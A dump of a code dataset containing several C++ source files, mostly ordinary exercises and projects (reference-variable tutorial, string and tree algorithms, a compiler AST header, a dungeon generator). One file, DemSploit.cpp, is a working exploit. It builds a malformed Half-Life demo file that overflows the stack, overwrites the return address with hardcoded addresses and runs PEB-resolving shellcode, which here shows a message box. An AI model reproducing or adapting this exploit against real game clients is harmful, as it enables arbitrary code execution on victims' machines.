blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
5
117
path
stringlengths
3
268
src_encoding
stringclasses
34 values
length_bytes
int64
6
4.23M
score
float64
2.52
5.19
int_score
int64
3
5
detected_licenses
listlengths
0
85
license_type
stringclasses
2 values
text
stringlengths
13
4.23M
download_success
bool
1 class
b3e091928ed543a07962debeea56e9eccdbd1dc4
C++
jinseongbe/cpp_study
/CPP_62(참조변수_ReferenceVariable)/CPP_62/main.cpp
UTF-8
3,130
3.859375
4
[]
no_license
#include <iostream> using namespace std; void doSomething1(int n); void doSomething2(int &m); void doSomething3(const int &m); void printElements(int (&arr)[5]); struct A_0 { int v1; float v2; }; struct a_0 { A_0 st; }; int main() { int value = 5; int *ptr1 = nullptr; ptr1 = &value; cout << endl; int &ref = value; // cout << ref << endl; ref = 10; // *ptr = 10; cout << value << " " << ref << endl; cout << &value << endl; cout << &ref << endl; cout << ptr1 << endl; cout << &ptr1 << endl << endl; // reference의 특징 // int &ref1; (x) // 반드시 초기화가 되어야 사용 되어진다, // int &ref1 = 104; (x) // 리터러쳐는 들어갈 수 없다. 변수의 주소가 들어가야 함으로! 당연한사실! int x = 5; int &ref1 = x; const int y = 8; // const int &ref1 = y; // const를 뺴면 컴 파일이 안됨! 포인터의 const 문제와 같은 것임! 근데 안됨?!?! int value1 = 5; int value2 = 10; int &ref2 = value1; cout << ref2 << endl; cout << &ref2 << endl; cout << &value1 << endl; cout << &value2 << endl << endl; ref2 = value2; cout << ref2 << endl; cout << &ref2 << endl; //여기서 주소는 value1의 주소임! cout << &value1 << endl; cout << &value2 << endl ; cout << value1 << endl << endl; int n = 5; int m = 5; cout << n << endl; cout << m << endl; doSomething1(n); // 포인터나 참조를 쓰지 않으면 함수가 끝나면서 변수가 없어짐 doSomething2(m); // 포인터의 경우는 포인터 자체가 하나의 변수로 주소를 복사하여 메모리를 차지하지만 // 참조의 경우 변수의 주소를 그대로 가져와 쓰기 때문에 퍼포먼스와 사용이 편리하다! doSomething3(m); // 이 경우는 변수를 안에서 바꿔줄수없음! 사용자가 못바꾸도록 함수를 만들때 사용! cout << n << endl; cout << m << endl; const int length = 5; int arr[length] = { 1, 2, 3, 4, 5}; printElements(arr); a_0 ot; ot.st.v1 = 1.0; cout << ot.st.v1 << endl; // reference를 사용하면 int &v1 = ot.st.v1; v1 = 1.0; cout << v1 << endl; int valuee = 5; int *const ptr = &valuee; int &reff = valuee; cout << &valuee << endl; cout << ptr << endl; cout << &ptr << endl; cout << &reff << endl; return 0; } void doSomething1(int n) { n = 10; cout << "In Dosomething(int) " << n << endl; } void doSomething2(int &m) { m = 10; cout << "In Dosomething(ref) " << m << endl; } void doSomething3(const int &m) { // m = 10; cout << "In Dosomething(ref) " << m << endl; } void printElements(int (&arr)[5]) // 요소의 개수[5]를 꼭 넣어줘야함! { for (int i = 0; i < 5; ++i) { cout << arr[i] << " "; } cout << endl; }
true
586e6422a3d74fc675b8f7438380833d12aee739
C++
suyashphatak/solved_code
/Longest Substring Without Repeating Characters.cpp
UTF-8
917
2.9375
3
[]
no_license
#include<bits/stdc++.h> using namespace std; int main() { string str; getline(cin,str); int max = 0; string temp=""; for (int i = 0; i < str.length(); i++) { temp = str[i]; int count = 1; for (int j = i+1; j < str.length(); j++) { int flag = 1; for (int k = 0; k < temp.length(); k++) { if(temp[k] == str[j]) { flag = 0; temp = ""; if(count > max) { max = count; } break; } } if(flag == 1) { temp.push_back(str[j]); count++; } else { break; } } if(count > max) { max = count; } } if(str.empty()) cout<<"0"<<endl; else cout<<max<<endl; }
true
de48a7cd59ec6ecff6f750791c5c7fdde721be63
C++
AdrianBZG/RAM-Machine-Simulator
/src/headers/UI.hpp
UTF-8
576
2.609375
3
[ "Apache-2.0" ]
permissive
/* Author: Adrián Rodríguez Bazaga Contact: arodriba@ull.edu.es / alu0100826456@ull.edu.es Date: 14/02/2016 */ #ifndef _UI_HPP_ #define _UI_HPP_ #include "RAMmachine.hpp" #include <string> #include <iostream> using namespace std; class UI { private: bool state_; //True = Active. False = Finished //RAMmachine machine_; public: UI(); ~UI(); void init(); void showMenu(RAMmachine); void waitForKey(); inline bool get_state() { return state_; } inline void flip_state() { state_=!state_; } }; #endif
true
971faf40e868b3c2c36f619941fbc8cd120f52eb
C++
mistickpulse/LifeIsBorneAlpha
/src/Dungeon/Cell.cpp
UTF-8
1,508
2.828125
3
[]
no_license
// // Created by zouz on 05/02/18. // #include "Cell.hpp" gen::Cell::Cell(unsigned int size_x, unsigned int size_y, Position pos) : _SizeX(size_x), _SizeY(size_y), _pos(pos) { for (auto &i : _childs) { i = nullptr; } } void gen::Cell::generateRooms(int iteration) { if (iteration <= 0) { return; } TestRoom room(_pos, _SizeX, _SizeY); if (room.cut(*_profile) == false) { _childs[0] = nullptr; _childs[1] = nullptr; return; } _childs[0] = std::make_shared<Cell>(room.roomA.SizeX, room.roomA.SizeY, room.roomA.pos); _childs[0]->setGenerationProfile(_profile); _childs[1] = std::make_shared<Cell>(room.roomB.SizeX, room.roomB.SizeY, room.roomB.pos); _childs[1]->setGenerationProfile(_profile); _childs[0]->generateRooms(iteration - 1); _childs[1]->generateRooms(iteration - 1); } void gen::operator<<(sf::RenderWindow &win, const gen::Cell &c) { for (auto &i : c._childs) { if (i != nullptr) { win << *i; } } if (c._childs[0] == nullptr) { // Im a leaf sf::RectangleShape rec(sf::Vector2f(c._SizeX, c._SizeY)); rec.setOutlineThickness(1.0f); rec.setOutlineColor(sf::Color::Green); rec.setPosition(c._pos.x, c._pos.y); rec.setFillColor(sf::Color::Black); win.draw(rec); } } void gen::Cell::setGenerationProfile(std::shared_ptr<gen::GenerationProfile> &ptr) { _profile = std::shared_ptr<GenerationProfile>(ptr); }
true
5c9d3a6a42fa27b0f168283d28e4dd3ee7caefc9
C++
gConwh7/Examples_cpp
/Examples/foo.cpp
UTF-8
737
3.109375
3
[]
no_license
#include "pch.h" #include "foo.h" #include <iostream> namespace test { //Our headers are in the test namespace, so this is necessary. foo::foo() { std::cout << "FROM test::foo constructing foo" << std::endl; } foo::~foo() { std::cout << "FROM test::foo destroying foo" << std::endl; } void foo::print() { std::cout << "FROM test::foo printing foo" << std::endl; } } //for the heck of it, you can also define class functions in a namespace with this syntax: test::bar::bar() { std::cout << "FROM test::bar creating bar" << std::endl; } test::bar::~bar() { std::cout << "FROM test::bar destroying bar" << std::endl; } void test::bar::print() { std::cout << "FROM test::bar printing bar" << std::endl; }
true
6b451920e17e9de7d367656f0415afa337179364
C++
dcauz/opus
/statement.h
UTF-8
13,392
2.5625
3
[]
no_license
#pragma once #include <vector> #include <memory> #include <string> #include "opus.h" #include "enum.h" #include "symtbl.h" class Expr; class Type; class GenCodeContext; class SemCheckContext; class Statement { public: Statement( int s, int e ):startLine_(s), endLine_(e) {} virtual ~Statement() {} virtual bool genCode( GenCodeContext & ) const = 0; virtual sp<Type> semCheck( SemCheckContext & ) const= 0; protected: int startLine_; int endLine_; }; /////////////////////////////////////////////////////////////////////////// class Empty: public Statement { public: Empty( int s):Statement(s,s) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; }; class Block: public Statement { public: Block( int s, int e, std::vector<up<Statement>> * sts = nullptr ): Statement(s,e), statements_(sts) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; std::vector<up<Statement>>::iterator begin() { return statements_->begin();} std::vector<up<Statement>>::iterator end() { return statements_->end(); } SymbolTable & symbolTable() { return symbolTable_; } private: up<std::vector<up<Statement>>> statements_; SymbolTable symbolTable_; }; class AtomicBlock: public Statement { public: AtomicBlock( int s, int e, Statement * st = nullptr ): Statement(s,e), block_(static_cast<Block *>(st)) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Block> block_; }; class ExprStatement : public Statement { public: ExprStatement( int s, int e, Expr * ex ):Statement(s,e), expr_(ex) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> expr_; }; class Definition: public Statement { public: Definition( int s, int e ):Statement(s,e), isPrivate_(false) {} void isPrivate() { isPrivate_ = true; } private: bool isPrivate_; }; class Private: public Definition { public: Private( int s, int e ):Definition(s,e) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; }; class Namespace: public Definition { public: Namespace( int s, int e, const char * n, Statement * st = nullptr ): name_(n), Definition(s,e), block_(static_cast<Block *>(st)) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> block_; }; class TypeDef: public Definition { public: TypeDef( int s, int e ):Definition(s,e) {} }; class EnumMember; class EnumDef: public TypeDef { public: EnumDef( int s, int e, const char * n, std::vector<up<EnumMember>> * moe = nullptr ); bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<std::vector<up<EnumMember>>> moe_; }; class ClassDef: public TypeDef { public: ClassDef( int s, int e, const char * n, Statement * mbrs = nullptr ): TypeDef(s,e), name_(n), members_(static_cast<Block *>(mbrs)) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> members_; }; class InterfaceDef: public TypeDef { public: InterfaceDef( int s, int e, const char * n, Statement * mbrs = nullptr ): TypeDef(s,e), name_(n), members_(static_cast<Block *>(mbrs)) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> members_; }; class TupleDef: public TypeDef { public: TupleDef( int s, int e, const char * n, Statement * mbrs = nullptr ): TypeDef(s,e), name_(n), members_(static_cast<Block *>(mbrs)) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> members_; }; class UnionDef: public TypeDef { public: UnionDef( int s, int e, const char * n, Statement * mbrs = nullptr ): TypeDef(s,e), name_(n), members_(static_cast<Block *>(mbrs)) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> members_; }; class VarDef: public Definition { public: VarDef( int s, int e, Type * t, const char * n, int pt=0, std::vector<up<Expr>> * w=nullptr, const char * f=nullptr ): Definition(s,e), type_(t), name_(n), ptrType_(pt), where_(w) { if(f) from_ = f; } VarDef( int s, int e, Type * t, const char * n, int pt=0, std::vector<up<Expr>> * w=nullptr, Expr * init=nullptr ): Definition(s,e), type_(t), name_(n), ptrType_(pt), init_(init) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; sp<Type> type() const { return type_; } private: sp<Type> type_; std::string name_; up<std::vector<up<Expr>>> where_; int ptrType_; std::string from_; up<Expr> init_; }; class Arg { public: Arg( Type * t, const char * n ): type_(t), name_(n) {} private: sp<Type> type_; std::string name_; }; class RoutineDef: public Definition { public: RoutineDef( int s, int e, Type * t, const char * n, std::vector<up<Arg>> * args, Statement * bl = nullptr ):Definition(s,e), returnType_(t), name_(n), body_(bl) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; const Type * returnType() const { return returnType_.get(); } private: sp<Type> returnType_; std::string name_; up<Statement> body_; }; class OperatorDef: public Definition { public: OperatorDef( int s, int e, Type * t, int n, std::vector<up<Arg>> * args, Statement * bl = nullptr ): Definition(s,e), returnType_(t), op_(n), body_(static_cast<Block *>(bl)) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; const Type * returnType() const { return returnType_.get(); } private: sp<Type> returnType_; int op_; up<Block> body_; }; class CtorDef: public Definition { public: CtorDef( int s, int e, const char * n, std::vector<up<Arg>> * args, Statement * bl = nullptr ):Definition(s,e), name_(n), body_(static_cast<Block *>(bl)) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> body_; }; class DtorDef: public Definition { public: DtorDef( int s, int e, const char * n, Statement * bl = nullptr ):Definition(s,e), name_(n), body_(static_cast<Block *>(bl)) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; up<Block> body_; }; class FunDef: public Definition { public: FunDef( int s, int e, const char * n, std::vector<up<Arg>> * args, Expr * ex): Definition(s,e), name_(n), body_(ex) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; const Type * returnType() const { return returnType_.get(); } private: sp<Type> returnType_; std::string name_; up<Expr> body_; }; class AliasDef: public Definition { public: AliasDef( int s, int e, const char * n, Type * t ):Definition(s,e), type_(t), name_(n) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string name_; sp<Type> type_; }; class If: public Statement { public: If( int s, int e, Expr * c, Statement * ist, Statement * est = nullptr ): Statement(s,e), cond_(c),variable_(nullptr), if_(ist), else_(est) { } If( int s, int e, VarDef * vd, Statement * ist, Statement * est = nullptr ): Statement(s,e), cond_(nullptr),variable_(vd), if_(ist), else_(est) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> cond_; up<VarDef> variable_; up<Statement> if_; up<Statement> else_; }; class For: public Statement { public: For( int s, int e, Expr * in, Expr * c, Expr * i, Statement * st ): Statement(s,e), init_(in), variable_(nullptr), cond_(c), incr_(i), statement_(st) { } For( int s, int e, VarDef * f, Expr * c, Expr * i, Statement * st ): Statement(s,e), init_(nullptr), variable_(f), cond_(c), incr_(i), statement_(st) { } For( int s, int e, Expr * c, Expr * i, Statement * st ): Statement(s,e), init_(nullptr), variable_(nullptr), cond_(c), incr_(i), statement_(st) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> init_; up<VarDef> variable_; up<Expr> cond_; up<Expr> incr_; up<Statement> statement_; }; class Default: public Statement { public: Default( int s, int e, Statement * st ):Statement(s,e), statement_(st) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Statement> statement_; }; class Continue: public Statement { public: Continue( int s ):Statement(s,s) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; }; class Break: public Statement { public: Break( int s ):Statement(s,s) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; }; class Return: public Statement { public: Return( int s, int e, Expr * v ):Statement(s,e), value_(v) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> value_; }; class Case: public Statement { public: Case( int s, int e, Expr * l, Expr * u, Statement * st ): Statement(s,e), lower_(l), upper_(u), statement_(st) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> lower_; up<Expr> upper_; up<Statement> statement_; }; class Switch: public Statement { public: Switch( int e, int s, Expr * con, Statement * st ): Statement(e,s), cond_(con), varDef_(nullptr), statement_(st) { } Switch( int e, int s, VarDef * var, Statement * st ): Statement(e,s), cond_(nullptr), varDef_(var), statement_(st) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> cond_; up<VarDef> varDef_; up<Statement> statement_; }; class CatchBlock: public Statement { public: CatchBlock( int e, int s, Statement * d, Statement * st): Statement(e,s), var_(d), block_(static_cast<Block *>(st)) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Statement> var_; up<Block> block_; }; class Try: public Statement { public: Try(int e, int s, Statement * sl, std::vector<up<CatchBlock>> * cbs ): Statement(e,s), block_(static_cast<Block *>(sl)), catchBlocks_(cbs) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Block> block_; up<std::vector<up<CatchBlock>>> catchBlocks_; }; class While: public Statement { public: While( int e, int s, Expr * con, Statement * st): Statement(e,s), cond_(con), statement_(st) { } While( int e, int s, VarDef * var, Statement * st): Statement(e,s), statement_(st) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> cond_; up<VarDef> variable_; up<Statement> statement_; }; class Until: public Statement { public: Until( int e, int s, Expr * con, Statement * st): Statement(e,s), cond_(con), statement_(st) { } bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: up<Expr> cond_; up<Statement> statement_; }; class Delete: public Statement { public: Delete( int e, int s, const char * n, Expr * c ): Statement(e,s), table_(n), cond_(c) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string table_; up<Expr> cond_; }; class Insert: public Statement { public: Insert( int e, int s, const char * t, std::vector<std::string> * cols, std::vector<up<Expr>> * vals ):Statement(e,s) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string table_; up<std::vector<std::string>> cols_; up<std::vector<up<Expr>>> vals_; }; class Update: public Statement { public: Update( int e, int s, const char * t, std::vector<up<std::pair<std::string, up<Expr>>>> * cols, Expr * cond ): Statement(e,s) , table_(t), cols_(cols), cond_(cond) {} bool genCode( GenCodeContext & ) const final; sp<Type> semCheck( SemCheckContext & ) const final; private: std::string table_; up<std::vector<up<std::pair<std::string,up<Expr>>>>> cols_; up<Expr> cond_; };
true
1200eff14fabca9db9ef0dfb1276eaf105ad11bd
C++
marselaminov/CPP
/Day04/ex03/Ice.cpp
UTF-8
438
3.09375
3
[]
no_license
#include "Ice.hpp" Ice::Ice() : AMateria("ice") {} Ice::Ice(const Ice &src) : AMateria("ice") { *this = src; } Ice & Ice::operator=(const Ice &src) { if (this == &src) return (*this); this->type = src.type; return (*this); } Ice::~Ice() {} Ice* Ice::clone() const { Ice *a = new Ice(*this); return (a); } void Ice::use(ICharacter &target) { std::cout << "* shoots an ice bolt at " << target.getName() + " *" << std::endl; }
true
9cb3b8ddb04c83635bea43fcb50a3fdf23fd1141
C++
omelkonian/lambda-calculus-interpreter
/error_handler/AutoCorrector.cpp
UTF-8
2,635
3.265625
3
[]
no_license
/* * AutoCorrector.cpp * * Created on: Feb 1, 2015 * Author: Orestis Melkonian */ #include "AutoCorrector.h" #include "../scanner/Scanner.h" #include <stdlib.h> #include <string> #include <vector> #include <assert.h> #include <iostream> using namespace std; AutoCorrector::AutoCorrector() { } AutoCorrector::~AutoCorrector() { } int AutoCorrector::getLeftParNo(string term) { int ret = 0; for (int i = 0; i < (int) term.size(); i++) if (term[i] == '(') ret++; return ret; } int AutoCorrector::getRightParNo(string term) { int ret = 0; for (int i = 0; i < (int) term.size(); i++) if (term[i] == ')') ret++; return ret; } string AutoCorrector::removeUnnecessaryParentheses(string term) { int leftParNo = AutoCorrector::getLeftParNo(term); int rightParNo = AutoCorrector::getRightParNo(term); if (leftParNo == 0 || leftParNo != rightParNo || leftParNo == 1) return term; int leftIndex = term.find_first_of('('); int rightIndex = AutoCorrector::getClosingPar(term, leftIndex); assert(rightIndex != -1); if (leftIndex == rightIndex - 1) return term; while (leftIndex != (int) term.npos) { bool leftIn = (term[leftIndex + 1] == '(') ? true : false; bool rightIn = (rightIndex - 1 == AutoCorrector::getClosingPar(term, leftIndex + 1)) ? true : false; bool simpleTerm1 = true; for (int i = leftIndex + 1; i < rightIndex; i++) { if (!(Scanner::isValidVarSymbol(term[i]) || Scanner::isValidDigit(term[i]) || term[i] == '[' || term[i] == ']')) { simpleTerm1 = false; break; } } bool list = ((term[leftIndex + 1] == '[') && (term[rightIndex - 1] == ']')); if (list) { for (int i = leftIndex + 2; i < rightIndex - 1; i++) if (term[i] == '[' || term[i] == ']') list = false; } bool replaced = false; if (leftIn && rightIn) { term.erase(leftIndex + 1, 1); term.erase(rightIndex - 1, 1); replaced = true; } else if (simpleTerm1 || list) { term.erase(leftIndex, 1); term.erase(rightIndex - 1, 1); replaced = true; } if (!replaced) { term[leftIndex] = 0; term[rightIndex] = 1; } leftIndex = term.find_first_of('(', leftIndex + 1); if (leftIndex != (int) term.npos) rightIndex = AutoCorrector::getClosingPar(term, leftIndex); } for (int i = 0; i < (int) term.size(); i++) { if (term[i] == 0) term[i] = '('; else if (term[i] == 1) term[i] = ')'; } return term; } int AutoCorrector::getClosingPar(string term, int openingPar) { int parCount = 1; for (int i = openingPar + 1; i < (int) term.size(); i++) { if ((term[i] == ')') && (--parCount == 0)) return i; else if (term[i] == '(') parCount++; } return -1; }
true
817ac38c95017edda2c945d02f4786566f0d24d2
C++
unknown442/Demo-Exploit
/src/DemSploit.cpp
UTF-8
5,108
2.59375
3
[]
no_license
#include <Windows.h> #include <iostream> #include <time.h> #include "Common/Types.h" #include "Utils/File.h" #include "Utils/InlineCode.h" void shellcode() { // // Go to the bottom of the stack to get ability to // allocate arguments in shellcode function. // __asm { sub esp, 0x8000; } // // Allocating string on the stack. We can't use global // memory, because we are going to use this code as shellcode, // what means that all global pointers will be invalid. // // Stack is the local function memory, so we can write our strings // here freely. // const wchar_t szUser32[] = { 'U', 'S', 'E', 'R', '3', '2', '.', 'd', 'l', 'l', '\0' }; const wchar_t szMessageBoxW[] = { 'M', 'e', 's', 's', 'a', 'g', 'e', 'B', 'o', 'x', 'W', '\0' }; const wchar_t szKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' }; const wchar_t szExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', '\0' }; auto pfnMessageBoxW = (TMessageBoxW)GetProcAddressPeb(szUser32, szMessageBoxW); auto pfnExitProcess = (TExitProcess)GetProcAddressPeb(szKernel32, szExitProcess); const wchar_t szMessage[] = { 'S', 'h', 'e', 'l', 'l', 'c', 'o', 'd', 'e', ' ', 'b', 'y', ' ', 'A', 'l', 'e', 'x', 'a', 'n', 'd', 'e', 'r', ' ', 'B', '.', ' ', ':', ')', '\0', }; // // Show message box with our message and exit from the game. // pfnMessageBoxW(HWND_DESKTOP, szMessage, NULL, MB_SYSTEMMODAL); pfnExitProcess(EXIT_SUCCESS); } int shellcodeEnd() { return 0x01010102; } void WriteMalformedData(FILE *stream) { demomsgheader_t exploitMsg = { 0 }; { exploitMsg.id = 9; exploitMsg.time = 0.0f; exploitMsg.frame = 0; } fwrite(&exploitMsg, stream); // // 32768 - max packet size // 4 - message length // 4 - EBP reserved value // 4 - return address // unsigned char data[32768 + 4 + 4 + 4 + 10000]; // 10000 - approximate code size { #if 0 // // Fill exploitable packet with random data. // srand((unsigned int)time(NULL)); auto p = (unsigned char *)&data; auto pe = &p[sizeof(data) - 1]; while (p < pe) { *p++ = rand() & 0xFF; } #endif memset(data, 0, sizeof(data)); } /* return address position Windows 7 (7601) - 0x17F838 Windows 10 (1803) - 0x18F864 */ // // It's really hard to make C++ compiler (at least VS compiler) // to calculate the shellcode size, so we just going to use // approximate size. I believe that's enough space. // unsigned long nCodeSize = 8000; *(int *)&data[32768 + 4] = 0xDEADC0DE; // EBP *(int *)&data[32768 + 4 + 4] = 0x18F864; // Shellcode start address auto sc = &data[32768 + 4 + 4 + 4]; memcpy(sc, shellcode, nCodeSize); fwrite<int>(sizeof(data), stream); fwrite(&data, stream); } void WriteLastMessage(FILE *stream) { demomsgheader_t lastMsg = { 0 }; { lastMsg.id = 5; lastMsg.time = 0.0f; lastMsg.frame = 0; } fwrite(&lastMsg, stream); } int main() { FILE *f; fopen_s(&f, "demsploit.dem", "wb"); if (!f) { return 0; } demoheader_t header = { 0 }; { // // Build demo-file header. // strcpy_s(header.szFileStamp, "HLDEMO"); header.nDemoProtocol = 5; header.nNetProtocolVersion = 48; strcpy_s(header.szMapName, "de_dust2"); strcpy_s(header.szDllDir, "cstrike"); header.mapCRC = 0xC0FFEE00; // // Segments potision in file. Will be filled later. // header.nDirectoryOffset = 0; } demoentry_t entry = { 0 }; { // // Build exploitable demo segment. // entry.nEntryType = 0; strcpy_s(entry.szDescription, "PUTTING A SHELLCODE IN YOUR STACK :)"); entry.nFlags = 0; entry.nCDTrack = -1; entry.fTrackTime = 0.0f; // // Segment will be consist only one exploitable frame. // entry.nFrames = 1; // // Offset of first segment is always equal to 544, that // is equal to demo header size. // entry.nOffset = sizeof(header); // // Demo size. Can be ignored. // entry.nFileLength = 0; } fwrite(&header, f); // // After demo header comes demo data. We are going to write // our exploit here. // WriteMalformedData(f); // // Last message, because every demo must be finished with it. // You can remove this code, thought, I wrote it for debug // purposes. // WriteLastMessage(f); // // After demo data comes demo segments (directories). We need to collect // current file position and write it to 'header.nDirectoryOffset' later. // int dirOffset = ftell(f); // // Write segment count. // // Normal demo contains minimum 2 segments - 'startup' and 'normal'. // Startup needs for preparing client to play demo, and 'normal' is // regular data, captured during play. Exploit needs only one segment, // so we are going to ignore 'normal' segments. // fwrite<int>(1, f); // // Write our segment. // fwrite(&entry, f); // // Go to the 'header.nDirectoryOffset' position and // write 'dirOffset' to it. // fseek(f, sizeof(header) - 4, 0); fwrite<int>(dirOffset, f); // // Close demo file. // fclose(f); // // Exploitable demo is successfully created. // return 0; }
true
1f5d30f81b56d4665f8c44ccff21a158c948e231
C++
johnjaes/leetcode
/687_LongestUnivaluePath.cpp
UTF-8
842
3.375
3
[]
no_license
/** * Definition for a binary tree node. * struct TreeNode { * int val; * TreeNode *left; * TreeNode *right; * TreeNode(int x) : val(x), left(NULL), right(NULL) {} * }; */ class Solution { public: int path_go(TreeNode* node , int &res) { if(node == NULL) { return 0; } int left = path_go(node->left , res); int right = path_go(node->right , res); int nl = 0; int nr = 0; if(node->left != NULL && (node->left->val == node->val)){ nl = left + 1; } if(node->right != NULL && (node->right->val == node->val)){ nr = right + 1; } res = max(res , nl + nr); return max(nl , nr); } int longestUnivaluePath(TreeNode* root) { if(root == NULL) { return 0; } int res = 0; path_go(root , res); return res; } };
true
589688d6213f0084b9bb44403f8b0522fc4a0293
C++
a624762529/http-
/HttpII/spellhtml.cpp
UTF-8
1,286
2.890625
3
[]
no_license
#include "spellhtml.h" SpellHtml::SpellHtml() { } string SpellHtml::getTitle(string path) { string head_title=string("<html><head><title>目录名: ")+path+ "</title></head>\n"; string body_title=string("<body><h1>当前目录: ")+path+ "</h1><table>\n"; return head_title+body_title; } string SpellHtml::getDirInfo(string path) { string ret=string("<h1> <a href=")+path +("> ")+path+"</a> </h1>\n"; return ret; } string SpellHtml::getDirSendInfo(string dir_path) { if(dir_path.back()=='/') dir_path.pop_back(); string ret; DIR* dir = opendir(dir_path.c_str()); if(dir == NULL) { perror("opendir error"); exit(1); } struct dirent* ptr = NULL; while( (ptr = readdir(dir)) != NULL ) { char* name = ptr->d_name; if(strcmp(name,".")==0||strcmp(name,"..")==0) continue; string complete_path=dir_path+ "/" +name; struct stat st; stat(complete_path.c_str(),&st); if(S_ISREG(st.st_mode)) { ret+=this->getDirInfo(complete_path); } else if(S_ISDIR(st.st_mode)) { ret+=this->getDirInfo(complete_path); } } closedir(dir); return ret; }
true
e58c51f51c4fbfdbc81a978f6af49ef62a9c0d83
C++
binzhikuwen/Algorithm-contest-entry-classic
/6/层次遍历.cpp
GB18030
2,950
3.59375
4
[]
no_license
/********************************************************************************** * α * * һöǰϵ£ҵ˳ֵÿ㶼 * մӸڵ㵽ƶи(LʾRʾ)Уÿź * ֮ûпոڽ֮һոÿһԿ() * * ע⣬ӸijҶ·еĽûи߸˳һΣ * Ӧ-1256. * :(11,LL) (7,LLL) (8,R) (5,) (4,L) (13,RL) (2,LLR) (1,RRR) (4,RR) () * (3,L) (4,R) () * * :5 4 8 11 13 4 7 2 11 * -1 **********************************************************************************/ #include<stdio.h> #include<stdlib.h> #include<string.h> const int MAXN = 256; typedef struct TNode { int have_value;//Ƿ񱻸ֵ int v;//ֵ struct TNode* left, *right; } Node; Node* root;//ĸ Node* newnode() { Node* u = (Node*) malloc(sizeof(Node)); if(u != NULL) { u->have_value = 0;//ʽʼΪ0 u->left = u->right = NULL; } return u; } int failed; void addnode(int v, char* s) { int n = strlen(s); Node* u = root;//ڵ㿪ʼ for(int i = 0; i < n; i++) if(s[i] == 'L') { if(u->left == NULL)//㲻ڣµĽ u->left = newnode(); u = u->left;// } else if(s[i] == 'R') { if(u->right == NULL) u->right = newnode(); u = u->right; } if(u->have_value)//Ѿֵ failed = 1; u->v = v; u->have_value = 1;// } void remove_tree(Node* u) { if(u == NULL) return; remove_tree(u->left); remove_tree(u->right); free(u); } char s[MAXN + 10];// int read_input() { failed = 0; remove_tree(root); root = newnode();// for(;;) { if(scanf("%s", s) != 1) return 0;// if(!strcmp(s, "()")) break;//λã˳ѭ int v; sscanf(&s[1], "%d", &v);//ֵ addnode(v, strchr(s, ',')+1);//ҶţȻ } return 1; } int n = 0, ans[MAXN]; int bfs() { int front = 0, rear = 1; Node* q[MAXN]; q[0] = root;//ʼֻһ while(front < rear) { Node* u = q[front++]; if(!u->have_value) return 0;//нûиֵ ans[n++] = u->v;//ӵβ if(u->left != NULL) q[rear++] = u->left;//ӷŽ if(u->right != NULL) q[rear++] = u->right;//ҶӷŽ } return 1; } int main() { while(read_input()) { if(!bfs()) failed = 1; if(failed) printf("-1\n"); else { for(int i = 0; i < n; i++) printf("%d ", ans[i]); printf("\n"); } } return 0; }
true
6b86cc1aaf033c08bbd917b8e2355130c6e2608b
C++
SayaUrobuchi/uvachan
/TNFSH_OJ/273.cpp
UTF-8
573
2.875
3
[]
no_license
